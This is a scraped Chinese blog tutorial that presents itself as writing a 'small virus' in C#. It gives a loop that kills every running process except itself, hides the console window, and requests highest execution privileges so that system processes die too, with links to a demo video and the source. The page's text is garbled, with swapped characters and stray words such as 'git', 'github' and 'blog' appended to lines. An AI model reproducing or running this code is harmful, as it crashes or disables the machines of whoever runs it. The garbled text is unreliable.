"HK"平常之用C# Process寫一隻小病毒

    衆所周知,Process能夠啓動和關閉電腦上的進程,命名空間位於 System.Diagnostics,本次的教程就是利用其中的GetProcesses和Kill方法來實現的。git

 

1、編碼工做

首先咱們建立一隻Console項目(只要是C#的均可以)github

爲了讓這篇博客短一點,我把代碼精簡了下安全

接下來咱們須要用到foreach來一個個循環出電腦裏的進程.app

foreach (var p in Process.GetProcesses())

爲了不中途把本身殺掉,則須要跳過本身,使用其ProcessName屬性則能夠(SystemKill能夠自行更改)測試

 if (p.ProcessName != "SystemKill")

有些進程殺不掉因此須要給他套上一個try catch後再使用Kill方法,像這樣編碼

foreach (var p in Process.GetProcesses()){
                try{
                    if (p.ProcessName != "SystemKill")
                         p.Kill(); 
                }catch { }
            }

這樣會顯示出一個小方框,咱們能夠把項目類型改成Windows窗口應用spa

還有一些頑固的系統進程殺不掉,這裏就須要用到最高權限了(highestAvailable)code

更改位於app.manifest文件下的requestedExecutionLevel項視頻

若沒有此文件可到項目屬性裏>安全性>啓用ClickOnce,等待出現該文件後再關閉掉ClickOnce.blog

 

2、編譯測試

視頻:https://gitee.com/TwilightLemon/Updata/raw/master/cc.mp4

心疼電腦1毫秒

 

最後,附上源代碼一隻https://github.com/TwilightLemon/SystemKill

但願你們多多關注我哦!

相關文章
相關標籤/搜索